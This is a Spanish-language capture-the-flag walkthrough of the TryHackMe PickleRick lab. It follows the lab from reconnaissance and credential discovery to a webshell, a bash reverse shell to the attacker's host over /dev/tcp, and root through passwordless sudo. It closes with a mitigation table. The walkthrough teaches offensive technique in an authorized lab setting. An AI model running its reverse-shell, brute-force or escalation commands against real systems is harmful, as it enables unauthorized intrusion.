PickleRick - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeLinuxEasy
PickleRick - TryHackMe

📚 Esta publicación pertenece a la colección:

PickleRick - TryHackMe Walkthrough

Bienvenido a mi writeup de PickleRick de TryHackMe. Una máquina de dificultad fácil que utiliza la temática del show Rick y Morty como contexto narrativo. El objetivo es encontrar tres ingredientes secretos (flags) que Rick ha escondido por todo el sistema. La cadena de ataque es directa: exfiltración de credenciales de la página web, acceso a un panel administrativo con webshell integrada y escalada de privilegios mediante sudoers mal configurado.

Room: PickleRick
Dificultad: Easy
OS: Linux
Objetivo: Capturar los tres ingredientes secretos

🎯 Información del Objetivo

IP Target: 10.114.178.196

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Comienzo verificando si la máquina está activa:

ping -c1 10.114.178.196
▶ output
64 bytes from 10.114.178.196: icmp_seq=1 ttl=62 time=42.2 ms

💡 Referencia rápida de TTL:

  • TTL ≈ 64 → Linux/Unix
  • TTL ≈ 128 → Windows

La máquina responde al ping con TTL=62, lo que indica que estamos ante un sistema Linux.

Escaneo de Puertos

Realizo un escaneo amplio de puertos abiertos:

nmap --open -sS --min-rate 5000 -n -Pn 10.114.178.196
  • --open → Muestra solo puertos abiertos
  • -sS → SYN scan (stealth)
  • --min-rate 5000 → Mínimo 5000 paquetes por segundo
  • -Pn → Sin ping previo
  • -n → Sin resolución DNS
▶ output
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Encuentro dos puertos abiertos. Realizo un escaneo más específico para identificar versiones:

nmap -p22,80 -sVC 10.114.178.196
  • -sC → Scripts NSE por defecto
  • -sV → Detección de versiones
▶ output
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 27:84:fd:72:c5:ca:78:ec:75:84:a0:67:b1:5e:e5:1d (RSA)
|   256 7a:a7:58:d3:8c:35:60:b4:81:b5:9d:bf:94:ad:00:d8 (ECDSA)
|_  256 b4:c6:79:b6:d4:be:1d:3d:f8:ec:52:9a:33:55:4f:e2 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Rick is sup4r cool
|_http-server-header: Apache/2.4.41 (Ubuntu)

El mapa de servicios:

  • Puerto 22 → SSH (OpenSSH 8.2p1)
  • Puerto 80 → HTTP (Apache 2.4.41) — Título interesante: "Rick is sup4r cool"

📁 Fase 2: Enumeración

Exploración del Puerto 80

Accedo a la página principal del puerto 80. Veo una página dedicada a Rick (del show Rick y Morty) que le pide ayuda a Morty porque se ha convertido en un pepinillo. Rick le pide que se meta en su ordenador y encuentre todos los ingredientes secretos.

Página principal del puerto 80

Inspección del Código Fuente

Reviso el código fuente de la página buscando información sensible. Encuentro un comentario HTML que me da una pista:

Comentario en código fuente

<!-- Note to self, remember username! Username: R1ckRul3s -->

Genial, tengo el usuario: R1ckRul3s. Este puede ser el usuario para acceder a SSH o a algún panel administrativo.

Enumeración de Archivos Especiales

Compruebo robots.txt para ver si hay pistas navegando a http://10.114.178.196/robots.txt

El archivo existe, pero solo encuentro la frase "Wubbalubbadubdub". Compruebo si es una ruta pero no lo es.

Aunque no es una ruta, puede que sea una contraseña o una pista importante.

Obtención de Información Web

Utilizo whatweb para obtener más datos sobre la tecnología del servidor:

whatweb http://10.114.178.196
▶ output
http://10.114.178.196 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.114.178.196], JQuery, Script, Title[Rick is sup4r cool]

El sitio usa Bootstrap y jQuery, pero sin información explotable evidente.

Búsqueda de Directorios

Realizo una enumeración de directorios usando dirb con la wordlist estándar pequeña:

dirb http://10.114.178.196 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

No descubro nada interesante, solo me lista directorios poco relevantes como /assets/ que solo contienen recursos de la página como estilos e imágenes.

Intento técnicas básicas de esteganografía con exiftool y strings en las imágenes, pero no encuentro información oculta relevante.

Intento de Acceso SSH

Tengo un usuario (R1ckRul3s) potencial y una contraseña (Wubbalubbadubdub) pero no es válido.

Intento fuerza bruta en SSH por si acaso con hydra:

hydra -l R1ckRul3s -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://10.114.178.196
▶ output
[22][ssh] host: 10.114.178.196   Authentication failed.

SSH no permite acceso con contraseña. Parece que solo acepta autenticación por clave pública.

Intento de Enumeración de Subdominios

Intento enumerar subdominios agregando la IP al archivo /etc/hosts y usando ffuf:

ffuf -u http://10.114.178.196 -H "Host: FUZZ.picklerick.thm" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 1062
▶ output
[Status: 200, Size: 1062, Words: 111]

No encuentro subdominios válidos.

Búsqueda de Archivos

Vuelvo a intentar enumeración pero esta vez con una wordlist orientada a archivos específicos:

dirb http://10.114.178.196 /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt

¡Éxito! Descubro dos archivos interesantes:

  • login.php — Panel de login
  • portal.php — Redirecciona a login.php

🚀 Fase 3: Explotación

Acceso al Panel Administrativo

Tengo dos datos potenciales:

  • Usuario: R1ckRul3s (encontrado en HTML comment)
  • Contraseña potencial: Wubbalubbadubdub (encontrado en robots.txt)

Accedo a http://10.114.178.196/login.php e intento login con R1ckRul3s:Wubbalubbadubdub:

Panel de login de PickleRick

¡Funciona! Estoy dentro del panel administrativo.

Webshell

Una vez logueado, veo un formulario que me permite ejecutar comandos, parece ser una webshell integrada en el panel de administración.

Panel de login de PickleRick

Realizo una prueba simple:

whoami
▶ output
www-data

Confirmo que tengo RCE porque estoy ejecutando comandos como el usuario www-data.

Tener Ejecución Remota de Comandos me permite obtener una reverse shell para tener mejor control del sistema.

Reverse Shell

Primero me pongo en escucha en mi máquina atacante:

nc -nlvp 4444

Luego ejecuto una reverse shell desde la webshell de administración:

/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.139.157/4444 0>&1'

Obtengo la conexión. Realizo tratamiento de TTY para estabilizar la shell:

script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm

🏴 Primer Ingrediente

Una vez en la máquina, empiezo a explorar. En el directorio /var/www/html encuentro el archivo Sup3rS3cretPickl3Ingred.txt:

mr. meeseeks

Primer ingrediente encontrado.

También encuentro un archivo clue.txt que dice: "Look around the file system for the other ingredient."

🏴 Segundo Ingrediente

Exploro el sistema buscando otros archivos con referencias a "ingredient". En el directorio /home/rick/ encuentro un archivo de nombre especial: 'second ingredients' (con comillas en el nombre literal). Dentro, contiene el segundo ingrediente:

rick: secondary_ingredients

Segundo ingrediente encontrado.

Continuo buscando el tercer ingrediente pero no lo encuentro.

Voy a intentar escalar privilegios para poder buscar por el sistema sin restricciones.

⬆️ Escalada de Privilegios

Compruebo qué permisos tiene el usuario www-data:

sudo -l
▶ output
User www-data may run the following commands on ip-10-114-178-196:
  (ALL) NOPASSWD: ALL

El usuario www-data puede ejecutar cualquier comando como root sin contraseña. Esto es una escalada de privilegios directa:

sudo /bin/bash

Ahora tengo una shell como root.

Escalada de Privilegios

🏴 Tercer Ingrediente

Accedo al directorio /root/ y encuentro el archivo 3rd.txt:

suppressedcode: flavor_of_the_universe

Tercer ingrediente encontrado.

📊 Resumen

Cadena de Ataque

nmap puertos 22,80 → Puerto 80 página Rick → Comentario HTML con usuario R1ckRul3s → robots.txt con contraseña Wubbalubbadubdub → login.php → Acceso panel administrativo → Webshell como www-data → Reverse shell → sudo -l (NOPASSWD:ALL) → root → 3 ingredientes capturados

Herramientas Utilizadas

  • nmap — Reconocimiento de puertos y versiones
  • curl — Lectura de robots.txt
  • dirb — Enumeración de directorios y archivos
  • netcat — Reverse shell listener

🛡️ Vulnerabilidades y Mitigaciones

VulnerabilidadSeveridadMitigación
Credenciales en comentario HTMLALTANunca incluir información sensible en comentarios del código fuente
Credenciales en robots.txtALTANo usar robots.txt como almacenamiento de secretos; proteger credenciales
Webshell sin restricciones de comandosCRÍTICAImplementar whitelist de comandos permitidos; validar input
Usuario www-data con sudoers NOPASSWD:ALLCRÍTICASegmentar permisos sudo; no permitir ALL sin contraseña

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.